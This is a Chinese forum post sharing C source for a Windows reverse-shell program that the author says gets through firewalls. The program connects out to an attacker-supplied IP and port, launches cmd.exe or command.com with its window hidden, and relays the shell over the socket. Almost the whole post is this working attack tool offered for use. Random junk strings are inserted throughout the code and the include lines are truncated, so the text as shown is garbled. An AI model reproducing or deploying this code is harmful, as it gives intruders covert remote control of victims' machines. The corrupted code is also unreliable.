社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4383阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _om[VKJd  
xURw,  
/* ============================== :HZ;Po   
Rebound port in Windows NT 7zI5PGWw  
By wind,2006/7  rA#s   
===============================*/ aYj%w  
#include :VFTVmr  
#include ~PYFYjHC  
jaqV[*440U  
#pragma comment(lib,"wsock32.lib") X8b#[40:  
oWD)+5. ]  
void OutputShell(); R92R}=G!  
SOCKET sClient; Q [:<S/w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #NJ<[Gew  
$nFAu}%C  
void main(int argc,char **argv) b]K>vhQV  
{  QT_^M1%  
WSADATA stWsaData; N?^_=KE@  
int nRet; qL>v&Rd<  
SOCKADDR_IN stSaiClient,stSaiServer; >t,O2~  
j]4,6` b\  
if(argc != 3) 82 .HH5Z{  
{ !=knppY  
printf("Useage:\n\rRebound DestIP DestPort\n"); dgY5ccP  
return; BJIFl!w  
} IdmD.k0pJ  
zi_[ V@Es/  
WSAStartup(MAKEWORD(2,2),&stWsaData);  h.D^1  
?Hk.|5A}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q06@SD$   
Hi7G/2t@`  
stSaiClient.sin_family = AF_INET; 'rh\CA/}D  
stSaiClient.sin_port = htons(0); ]wR6bEm7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K]MzP|T,  
_]_LF[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _[0I^o  
{ (Otur  
printf("Bind Socket Failed!\n"); iI}nW  
return; P8u"T!G  
} |/t K-c6J  
=3pD:L  
stSaiServer.sin_family = AF_INET; G*=H;Upi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #e*$2+`[A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {YfYIt=.  
.$OjUlzr-H  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eNivlJ,K|@  
{ HK? Foo?  
printf("Connect Error!"); NrW[Q 3E$  
return; (s.o  
} : qr} M  
OutputShell(); lej^gxj/2  
} n/Or~@pHD  
&,F elB0*  
void OutputShell() $F<%Jl7_Z  
{ ^1()W,B~w  
char szBuff[1024]; &(GopWR`e  
SECURITY_ATTRIBUTES stSecurityAttributes; 5N Fq7&rJ6  
OSVERSIONINFO stOsversionInfo; *-+C<2"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wX@H &)<s  
STARTUPINFO stStartupInfo; bW} b<(y  
char *szShell; 7Z9.z 4\  
PROCESS_INFORMATION stProcessInformation; % 1OC#&  
unsigned long lBytesRead; u87=q^$  
.Ydr[  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g6HphRJ5s  
c,+iU R<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "Wxo[I  
stSecurityAttributes.lpSecurityDescriptor = 0; A3m{jbh  
stSecurityAttributes.bInheritHandle = TRUE; N;e}dwh&  
eUi> Mp  
,M| QN*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {(8U8f<'=y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); hqdC9?\  
"h^A]t;qe  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )zo#1$C-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mrw]yu;2<n  
stStartupInfo.wShowWindow = SW_HIDE; 7uWJ6Wk  
stStartupInfo.hStdInput = hReadPipe; " 6 uTo0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z7D*z8,i  
_Ac/ir[,:  
GetVersionEx(&stOsversionInfo); 7*R{u*/e  
3RBpbTNWp  
switch(stOsversionInfo.dwPlatformId) $w 5#2Za  
{ yBU ZVqqDa  
case 1: BT y]!%r'  
szShell = "command.com"; EOMuqP)  
break; 8#NIs@DJ  
default: 3sd{AkD^  
szShell = "cmd.exe"; F(?Fz8  
break; ,(1vEE[9-  
}  hg<"Yg=  
[a#?}((  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G.A=hGw  
/y+;g{  
send(sClient,szMsg,77,0); ]{q- Y<{"  
while(1) LS R_x$G+t  
{ E7d~#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D;1 6}D  
if(lBytesRead) {ziYd;Ys1  
{ ox i a}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); llTQ\7zP  
send(sClient,szBuff,lBytesRead,0); !3b|*].B  
} kx;xO>dC  
else E.zYi7YUKK  
{ 8.q13t !D  
lBytesRead=recv(sClient,szBuff,1024,0); |,M#8NOp:  
if(lBytesRead<=0) break; IL8'{<lM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "Gi+zkVm  
} Mdy0!{d  
} DRKc&F6Qy  
#2ZrdD"5kQ  
return; ZYl-p]\*y  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八